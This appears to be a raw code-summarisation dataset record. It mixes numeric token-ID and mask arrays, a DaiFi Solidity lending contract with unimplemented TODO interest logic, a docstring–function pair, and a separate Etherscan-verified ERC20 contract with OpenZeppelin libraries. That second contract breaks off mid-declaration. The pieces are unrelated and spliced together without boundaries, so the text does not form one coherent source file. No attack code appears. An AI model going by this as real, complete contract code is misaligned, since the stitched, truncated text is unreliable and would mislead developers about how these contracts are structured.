[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 6835, 13456, 12952, 288, 203, 203, 565, 1958, 399, 47, 50, 288, 203, 3639, 1758, 5793, 31, 203, 3639, 2254, 460, 31, 203, 3639, 1731, 501, 31, 203, 3639, 1731, 24, 3553, 31, 203, 565, 289, 203, 203, 565, 445, 1147, 12355, 12, 2867, 389, 2080, 16, 2254, 389, 1132, 16, 1731, 389, 892, 13, 1071, 16618, 288, 203, 1377, 399, 47, 50, 3778, 13030, 82, 31, 203, 1377, 13030, 82, 18, 15330, 273, 389, 2080, 31, 203, 1377, 13030, 82, 18, 1132, 273, 389, 1132, 31, 203, 1377, 13030, 82, 18, 892, 273, 389, 892, 31, 203, 1377, 2254, 1578, 582, 273, 2254, 1578, 24899, 892, 63, 23, 5717, 397, 261, 11890, 1578, 24899, 892, 63, 22, 5717, 2296, 1725, 13, 397, 261, 11890, 1578, 24899, 892, 63, 21, 5717, 2296, 2872, 13, 397, 261, 11890, 1578, 24899, 892, 63, 20, 5717, 2296, 4248, 1769, 203, 1377, 13030, 82, 18, 7340, 273, 1731, 24, 12, 89, 1769, 203, 203, 565, 289, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.12; pragma experimental ABIEncoderV2; import { IActions } from "../interfaces/IActions.sol"; import { DaiFiCollateral } from "./DaiFiCollateral.sol"; import { DaiFiInterest } from "./DaiFiInterest.sol"; import { ReentrancyGuard } from "../lib/ReentrancyGuard.sol"; import { SafeMath } from "../lib/SafeMath.sol"; import { Token } from "../lib/Token.sol"; import { Types } from "../lib/Types.sol"; /** * @title DaiFiActions Contract * @notice Abstract contract for supported DaiFi actions * @author DaiFi */ contract DaiFiActions is IActions, DaiFiCollateral, DaiFiInterest, ReentrancyGuard { using SafeMath for uint256; /** * @notice The Dai contract address (private) */ address private daiAddress; /** * @notice The total Wei balances (internal) */ Types.Balances internal totalWei; /** * @notice The total attoDai balances (internal) */ Types.Balances internal totalAttoDai; /** * @notice A mapping of the accounts (internal) */ mapping(address=>Types.Account) internal accounts; /** * @notice constructor sets the Dai contract address from the given address (internal) * @param daiAddress_ The address of the Dai token * @param daiPriceOracle The address of the Dai price oracle */ constructor(address daiAddress_, address daiPriceOracle) DaiFiCollateral(daiPriceOracle) internal { daiAddress = daiAddress_; } /** * @notice Supply Wei from sender account (external payable nonReentrant) */ function supplyWei() external payable nonReentrant { require(msg.value != 0, "supplied zero Wei"); require(accounts[msg.sender].wei_.borrowed == 0, "supplied Wei when already borrowing"); applySuppliedWeiInterest(msg.sender); accounts[msg.sender].wei_.supplied = accounts[msg.sender].wei_.supplied.add(msg.value); totalWei.supplied = totalWei.supplied.add(msg.value); emit WeiSupplied(msg.sender, msg.value); } /** * @notice Withdraw Wei to sender account (external nonReentrant) * @param amount The amount of Wei to withdraw */ function withdrawWei(uint256 amount) external nonReentrant { require(amount != 0, "withdrew zero Wei"); applySuppliedWeiInterest(msg.sender); require(amount <= accounts[msg.sender].wei_.supplied, "withdrew more Wei than supplied"); accounts[msg.sender].wei_.supplied = accounts[msg.sender].wei_.supplied.sub(amount); applyBorrowedAttoDaiInterest(msg.sender); require(isCollateralisedForAttoDai(accounts[msg.sender]), "not enough collateral"); totalWei.supplied = totalWei.supplied.sub(amount); msg.sender.transfer(amount); emit WeiWithdrawn(msg.sender, amount); } /** * @notice Borrow Wei to sender account (external nonReentrant) * @param amount The amount of Wei to borrow */ function borrowWei(uint256 amount) external nonReentrant { require(amount != 0, "borrowed zero Wei"); require(accounts[msg.sender].wei_.supplied == 0, "borrowed Wei when already supplying"); applyBorrowedWeiInterest(msg.sender); accounts[msg.sender].wei_.borrowed = accounts[msg.sender].wei_.borrowed.add(amount); applySuppliedAttoDaiInterest(msg.sender); require(isCollateralisedForWei(accounts[msg.sender]), "not enough collateral"); totalWei.borrowed = totalWei.borrowed.add(amount); msg.sender.transfer(amount); emit WeiBorrowed(msg.sender, amount); } /** * @notice Repay Wei from sender account (external payable nonReentrant) */ function repayWei() external payable nonReentrant { require(msg.value != 0, "repaid zero Wei"); applyBorrowedWeiInterest(msg.sender); require(msg.value <= accounts[msg.sender].wei_.borrowed, "repaid more Wei than borrowed"); accounts[msg.sender].wei_.borrowed = accounts[msg.sender].wei_.borrowed.sub(msg.value); totalWei.borrowed = totalWei.borrowed.sub(msg.value); emit WeiRepaid(msg.sender, msg.value); } /** * @notice Apply the interest accumulated (since last applied) to the supplied Wei balance of the given account (public) * param accountAddress The address of the account to apply interest to */ function applySuppliedWeiInterest(address accountAddress) public { require(accountAddress != address(0), "applied interest to address 0x0"); // TODO: implement and test. Update lastApplied block number uint256 interest = calculateSuppliedWeiInterest(accounts[accountAddress]); accounts[accountAddress].wei_.supplied = accounts[accountAddress].wei_.supplied.add(interest); totalWei.supplied = totalWei.supplied.add(interest); emit SuppliedWeiInterestApplied(accountAddress); } /** * @notice Apply the interest accumulated (since last applied) to the borrowed Wei balance of the given account (public) * param accountAddress The address of the account to apply interest to */ function applyBorrowedWeiInterest(address accountAddress) public { require(accountAddress != address(0), "applied interest to address 0x0"); // TODO: implement and test. Update lastApplied block number uint256 interest = calculateBorrowedWeiInterest(accounts[accountAddress]); accounts[accountAddress].wei_.borrowed = accounts[accountAddress].wei_.borrowed.add(interest); totalWei.borrowed = totalWei.borrowed.add(interest); emit BorrowedWeiInterestApplied(accountAddress); } /** * @notice Supply attoDai from sender account (external nonReentrant) * @param amount The amount of attoDai to supply */ function supplyAttoDai(uint256 amount) external nonReentrant { require(amount != 0, "supplied zero attoDai"); require(accounts[msg.sender].attoDai.borrowed == 0, "supplied attoDai when already borrowing"); applySuppliedAttoDaiInterest(msg.sender); accounts[msg.sender].attoDai.supplied = accounts[msg.sender].attoDai.supplied.add(amount); totalAttoDai.supplied = totalAttoDai.supplied.add(amount); require(Token.transferFrom(daiAddress, msg.sender, amount), "dai transfer failed"); emit AttoDaiSupplied(msg.sender, amount); } /** * @notice Withdraw attoDai to sender account (external nonReentrant) * @param amount The amount of attoDai to withdraw */ function withdrawAttoDai(uint256 amount) external nonReentrant { require(amount != 0, "withdrew zero attoDai"); applySuppliedAttoDaiInterest(msg.sender); require(amount <= accounts[msg.sender].attoDai.supplied, "withdrew more attoDai than supplied"); accounts[msg.sender].attoDai.supplied = accounts[msg.sender].attoDai.supplied.sub(amount); applyBorrowedWeiInterest(msg.sender); require(isCollateralisedForWei(accounts[msg.sender]), "not enough collateral"); totalAttoDai.supplied = totalAttoDai.supplied.sub(amount); require(Token.transferTo(daiAddress, msg.sender, amount), "dai transfer failed"); emit AttoDaiWithdrawn(msg.sender, amount); } /** * @notice Borrow attoDai to sender account (external nonReentrant) * @param amount The amount of attoDai to borrow */ function borrowAttoDai(uint256 amount) external nonReentrant { require(amount != 0, "borrowed zero attoDai"); require(accounts[msg.sender].attoDai.supplied == 0, "borrowed attoDai when already supplying"); applyBorrowedAttoDaiInterest(msg.sender); accounts[msg.sender].attoDai.borrowed = accounts[msg.sender].attoDai.borrowed.add(amount); applySuppliedWeiInterest(msg.sender); require(isCollateralisedForAttoDai(accounts[msg.sender]), "not enough collateral"); totalAttoDai.borrowed = totalAttoDai.borrowed.add(amount); require(Token.transferTo(daiAddress, msg.sender, amount), "dai transfer failed"); emit AttoDaiBorrowed(msg.sender, amount); } /** * @notice Repay attoDai from sender account (external nonReentrant) * @param amount The amount of attoDai to repay */ function repayAttoDai(uint256 amount) external nonReentrant { require(amount != 0, "repaid zero attoDai"); applyBorrowedAttoDaiInterest(msg.sender); require(amount <= accounts[msg.sender].attoDai.borrowed, "repaid more attoDai than borrowed"); accounts[msg.sender].attoDai.borrowed = accounts[msg.sender].attoDai.borrowed.sub(amount); totalAttoDai.borrowed = totalAttoDai.borrowed.sub(amount); require(Token.transferFrom(daiAddress, msg.sender, amount), "dai transfer failed"); emit AttoDaiRepaid(msg.sender, amount); } /** * @notice Apply the interest accumulated (since last applied) to the supplied attoDai balance of the given account (public) * param accountAddress The address of the account to apply interest to */ function applySuppliedAttoDaiInterest(address accountAddress) public { require(accountAddress != address(0), "applied interest to address 0x0"); // TODO: implement and test. Update lastApplied block number uint256 interest = calculateSuppliedAttoDaiInterest(accounts[accountAddress]); accounts[accountAddress].attoDai.supplied = accounts[accountAddress].attoDai.supplied.add(interest); totalAttoDai.supplied = totalAttoDai.supplied.add(interest); emit SuppliedAttoDaiInterestApplied(accountAddress); } /** * @notice Apply the interest accumulated (since last applied) to the borrowed attoDai balance of the given account (public) * param accountAddress The address of the account to apply interest to */ function applyBorrowedAttoDaiInterest(address accountAddress) public { require(accountAddress != address(0), "applied interest to address 0x0"); // TODO: implement and test. Update lastApplied block number uint256 interest = calculateBorrowedAttoDaiInterest(accounts[accountAddress]); accounts[accountAddress].attoDai.borrowed = accounts[accountAddress].attoDai.borrowed.add(interest); totalAttoDai.borrowed = totalAttoDai.borrowed.add(interest); emit BorrowedAttoDaiInterestApplied(accountAddress); } }
* @notice Apply the interest accumulated (since last applied) to the borrowed Wei balance of the given account (public) param accountAddress The address of the account to apply interest to/ TODO: implement and test. Update lastApplied block number
function applyBorrowedWeiInterest(address accountAddress) public { require(accountAddress != address(0), "applied interest to address 0x0"); uint256 interest = calculateBorrowedWeiInterest(accounts[accountAddress]); accounts[accountAddress].wei_.borrowed = accounts[accountAddress].wei_.borrowed.add(interest); totalWei.borrowed = totalWei.borrowed.add(interest); emit BorrowedWeiInterestApplied(accountAddress); }
1,812,075
[ 1, 7001, 326, 16513, 24893, 261, 9256, 1142, 6754, 13, 358, 326, 29759, 329, 1660, 77, 11013, 434, 326, 864, 2236, 261, 482, 13, 579, 2236, 1887, 1021, 1758, 434, 326, 2236, 358, 2230, 16513, 358, 19, 2660, 30, 2348, 471, 1842, 18, 2315, 1142, 16203, 1203, 1300, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2230, 38, 15318, 329, 3218, 77, 29281, 12, 2867, 2236, 1887, 13, 1071, 288, 203, 3639, 2583, 12, 4631, 1887, 480, 1758, 12, 20, 3631, 315, 438, 3110, 16513, 358, 1758, 374, 92, 20, 8863, 203, 203, 3639, 2254, 5034, 16513, 273, 4604, 38, 15318, 329, 3218, 77, 29281, 12, 13739, 63, 4631, 1887, 19226, 203, 3639, 9484, 63, 4631, 1887, 8009, 1814, 77, 27799, 70, 15318, 329, 273, 9484, 63, 4631, 1887, 8009, 1814, 77, 27799, 70, 15318, 329, 18, 1289, 12, 2761, 395, 1769, 203, 3639, 2078, 3218, 77, 18, 70, 15318, 329, 273, 2078, 3218, 77, 18, 70, 15318, 329, 18, 1289, 12, 2761, 395, 1769, 203, 3639, 3626, 605, 15318, 329, 3218, 77, 29281, 16203, 12, 4631, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-03-12 */ pragma solidity 0.6.6; // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/oracle/LatestPriceOracleInterface.sol pragma solidity 0.6.6; /** * @dev Interface of the price oracle. */ interface LatestPriceOracleInterface { /** * @dev Returns `true`if oracle is working. */ function isWorking() external returns (bool); /** * @dev Returns the last updated price. Decimals is 8. **/ function latestPrice() external returns (uint256); /** * @dev Returns the timestamp of the last updated price. */ function latestTimestamp() external returns (uint256); } // File: contracts/oracle/PriceOracleInterface.sol pragma solidity 0.6.6; /** * @dev Interface of the price oracle. */ interface PriceOracleInterface is LatestPriceOracleInterface { /** * @dev Returns the latest id. The id start from 1 and increments by 1. */ function latestId() external returns (uint256); /** * @dev Returns the historical price specified by `id`. Decimals is 8. */ function getPrice(uint256 id) external returns (uint256); /** * @dev Returns the timestamp of historical price specified by `id`. */ function getTimestamp(uint256 id) external returns (uint256); } // File: contracts/oracle/OracleInterface.sol pragma solidity 0.6.6; // Oracle referenced by OracleProxy must implement this interface. interface OracleInterface is PriceOracleInterface { function getVolatility() external returns (uint256); function lastCalculatedVolatility() external view returns (uint256); } // File: contracts/oracle/VolatilityOracleInterface.sol pragma solidity 0.6.6; interface 